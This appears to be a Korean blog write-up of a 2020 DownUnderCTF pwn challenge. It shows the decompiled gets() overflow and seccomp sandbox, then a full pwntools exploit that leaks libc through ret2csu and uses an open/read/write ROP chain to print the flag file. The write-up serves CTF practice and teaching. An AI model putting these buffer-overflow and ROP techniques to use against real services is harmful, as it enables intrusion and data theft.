tmxklab
2020 DownUnderCTF - [pwn] return-to-whats-revenge 본문
1. 문제 확인
바이너리 파일이 주어지고 이번에는 플래그 파일의 경로를 알려준다.
1) mitigation
2-1) main() → vuln()
void __cdecl vuln()
{
char name[40]; // [rsp+0h] [rbp-30h]
puts("Where would you like to return to?");
gets(name);
}
이번에도 gets로 받는다. → bof쌉가능
2-2) setup() → sandbox()
void __cdecl sandbox()
{
sock_fprog prog; // [rsp+0h] [rbp-10F0h]
sock_filter filter[25]; // [rsp+10h] [rbp-10E0h]
bpf_labels lab; // [rsp+E0h] [rbp-1010h]
memset(&lab, 0, sizeof(lab));
filter[0].code = 32;
filter[0].jt = 0;
filter[0].jf = 0;
filter[0].k = 4;
filter[1].code = 21;
filter[1].jt = 1;
filter[1].jf = 0;
filter[1].k = -1073741762;
filter[2].code = 6;
filter[2].jt = 0;
filter[2].jf = 0;
filter[2].k = 0;
filter[3].code = 32;
filter[3].jt = 0;
filter[3].jf = 0;
filter[3].k = 0;
filter[4].code = 21;
filter[4].jt = 0;
filter[4].jf = 1;
filter[4].k = 15;
filter[5].code = 6;
filter[5].jt = 0;
filter[5].jf = 0;
filter[5].k = 2147418112;
filter[6].code = 21;
filter[6].jt = 0;
filter[6].jf = 1;
filter[6].k = 231;
filter[7].code = 6;
filter[7].jt = 0;
filter[7].jf = 0;
filter[7].k = 2147418112;
filter[8].code = 21;
filter[8].jt = 0;
filter[8].jf = 1;
filter[8].k = 60;
filter[9].code = 6;
filter[9].jt = 0;
filter[9].jf = 0;
filter[9].k = 2147418112;
filter[10].code = 21;
filter[10].jt = 0;
filter[10].jf = 1;
filter[10].k = 2;
filter[11].code = 6;
filter[11].jt = 0;
filter[11].jf = 0;
filter[11].k = 2147418112;
filter[12].code = 21;
filter[12].jt = 0;
filter[12].jf = 1;
filter[12].k = 0;
filter[13].code = 6;
filter[13].jt = 0;
filter[13].jf = 0;
filter[13].k = 2147418112;
filter[14].code = 21;
filter[14].jt = 0;
filter[14].jf = 1;
filter[14].k = 1;
filter[15].code = 6;
filter[15].jt = 0;
filter[15].jf = 0;
filter[15].k = 2147418112;
filter[16].code = 21;
filter[16].jt = 0;
filter[16].jf = 1;
filter[16].k = 12;
filter[17].code = 6;
filter[17].jt = 0;
filter[17].jf = 0;
filter[17].k = 2147418112;
filter[18].code = 21;
filter[18].jt = 0;
filter[18].jf = 1;
filter[18].k = 9;
filter[19].code = 6;
filter[19].jt = 0;
filter[19].jf = 0;
filter[19].k = 2147418112;
filter[20].code = 21;
filter[20].jt = 0;
filter[20].jf = 1;
filter[20].k = 10;
filter[21].code = 6;
filter[21].jt = 0;
filter[21].jf = 0;
filter[21].k = 2147418112;
filter[22].code = 21;
filter[22].jt = 0;
filter[22].jf = 1;
filter[22].k = 3;
filter[23].code = 6;
filter[23].jt = 0;
filter[23].jf = 0;
filter[23].k = 2147418112;
filter[24].code = 6;
filter[24].jt = 0;
filter[24].jf = 0;
filter[24].k = 0;
bpf_resolve_jumps(&lab, filter, 0x19uLL);
prog.len = 25;
prog.filter = filter;
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(22, 2LL, &prog);
}
샌드박스가 걸려있어서 syscall이 제한되어 있다.
2. 문제 풀이
libc leak하는 거는 전에 풀었던 return to what이랑 동일하게 진행하면 된다.
문제는 sandbox에 의해 syscall이 제한되어 있다.
prctl() 참고
orw(open, read, write) syscall은 제한되어 있지 않고 문제에서 플래그 파일의 경로를 알려줬으니 파일 open하고 read한 다음에 화면에 출력(write)하면 될 것이다.
추가로 gets()를 릭해서 libc파일이 뭔지 알고 파일을 얻을 수 있으므로
libc에서 가젯을 찾으면 예쁜 가젯들이 많이 보여서 rop진행하는데 어려움이 없다.
1) 익스코드
from pwn import *
context(log_level = "debug", arch="amd64", os="linux")
#p = process("./return-to-whats-revenge")
p = remote("chal.duc.tf", 30006)
#gdb.attach(p)
env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so")}
e = ELF("./return-to-whats-revenge")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc.so")
vuln_addr = e.symbols['vuln']
gets_got = e.got['gets']
puts_got = e.got['puts']
gets_offset = libc.symbols['gets']
read_offset = 0x11007d
write_offset = 0x11014d
open_offset = 0x10fc7d
mov_2_offset = 0xd0e40
push_rax_offset = 0x3dfed
pop_rdi_offset = 0x2155f
mov_rdi_rbx_offset = 0x19a689 # mov rdi rbx ; jne 0x19a67e ; pop rbx ; ret
push_rax_pop_rbx_offset = 0x52240 # push rax ; pop rbx ; ret
init_stage1 = 0x4019d2
init_stage2 = 0x4019b8
flag_path = "/chal/flag.txt\x00"
#flag_path = "./flag.txt"
bss_addr = 0x404050
pr_addr = 0x4019db # pop rdi ; ret
ppr_addr = 0x4019d9 # pop rsi ; pop r15 ; ret
mov_eax = 0x401970 # mov eax, dword ptr [rbp - 0xc] ; leave ; ret
# 1. Input "flag_path" (bss)
payload = "A"*0x38
payload += p64(init_stage1)
payload += p64(0) # pop rbx
payload += p64(1) # pop rbp
payload += p64(gets_got) # pop r12 -> call [r12 + rbx*8]
payload += p64(bss_addr) # pop r13 -> mov edi, r13d
payload += p64(0) # pop r14 -> mov rsi, r14
payload += p64(0) # pop r15 -> mov rdx, r15
payload += p64(init_stage2)
# 2. leak gets() address
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(puts_got) # pop r12 -> call [r12 + rbx*8]
payload += p64(gets_got) # pop r13 -> mov edi, r13d
payload += p64(0) # pop r14 -> mov rsi, r14
payload += p64(0) # pop r15 -> mov rdx, r15
payload += p64(init_stage2)
# 3. return to vuln
payload += p64(1)
payload += p64(2)
payload += p64(3)
payload += p64(4)
payload += p64(5)
payload += p64(6)
payload += p64(7)
payload += p64(vuln_addr)
p.sendlineafter("to?\n", payload)
sleep(0.1)
p.sendline(flag_path)
sleep(0.1)
gets_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = gets_addr - gets_offset
open_syscall = libc_base + open_offset
write_syscall = libc_base + write_offset
syscall = write_syscall + 5
read_syscall = libc_base + read_offset
mov_2_gadget = libc_base + mov_2_offset
xchg_eax_edi = libc_base + 0x6eacd
pop_rdx = libc_base + 0x1b96
log.info("libc base : "+hex(libc_base))
log.info("gets addr : "+hex(gets_addr))
log.info("open syscall : "+hex(open_syscall))
log.info("write syscall : "+hex(write_syscall))
log.info("read syscall : "+hex(read_syscall))
log.info("mov_2_gadget : "+hex(mov_2_gadget))
# open("/chal/flag.txt")
payload = "A"*0x38
payload += p64(pr_addr) # rdi = bss("/chal/flag.txt")
payload += p64(bss_addr)
payload += p64(ppr_addr) # rsi = 0x0, r15 = 0x0
payload += p64(0)
payload += p64(0)
payload += p64(mov_2_gadget) # mov eax, 0x2
payload += p64(syscall) # syscall
# read(fd, bss_addr+0x10, length)
# rdi = fd, rsi = bss_addr+0x10, rdx = length
payload += p64(xchg_eax_edi)
payload += p64(ppr_addr) # rsi = bss_addr+0x10, r15 = 0x0
payload += p64(bss_addr+0x10)
payload += p64(0)
payload += p64(pop_rdx) # rdx = 20
payload += p64(40)
payload += p64(read_syscall) # mov eax, 0x0; syscall
# write(1, bss_addr+0x10, length)
# rdi = fd, rsi = bss_addr+0x10, rdx = length
payload += p64(pr_addr) # rdi = 0x1
payload += p64(1)
payload += p64(ppr_addr) # rsi = bss_addr+0x10, r15 = 0x0
payload += p64(bss_addr+0x10)
payload += p64(0)
payload += p64(pop_rdx) # rdx = 20
payload += p64(40)
payload += p64(write_syscall) # mov eax, 0x1; syscall
p.sendlineafter("to?\n", payload)
p.interactive()
이번에도 return-to-what문제풀고 바로 이거 풀었는데 여기서 풀고 나서 알았다. 내가 pop rdi; ret가젯 쓰고 있었네..??ㅋㅋㅋㅋ 왜 rtc했지
rtc안하고 바로 rop로 조져도 된다.
2) 실행 결과
'CTF 문제' 카테고리의 다른 글
2020 DamCTF - ghostbusters(pwn) (2) | 2020.10.15 |
---|---|
2020 DownUnderCTF - [misc] homepage (0) | 2020.09.21 |
2020 DownUnderCTF - [forensic] On the spectrum (0) | 2020.09.21 |
2020 DownUnderCTF - [pwn] return-to-what (0) | 2020.09.21 |
2020 CSAW - [pwn] slithery (0) | 2020.09.14 |
Comments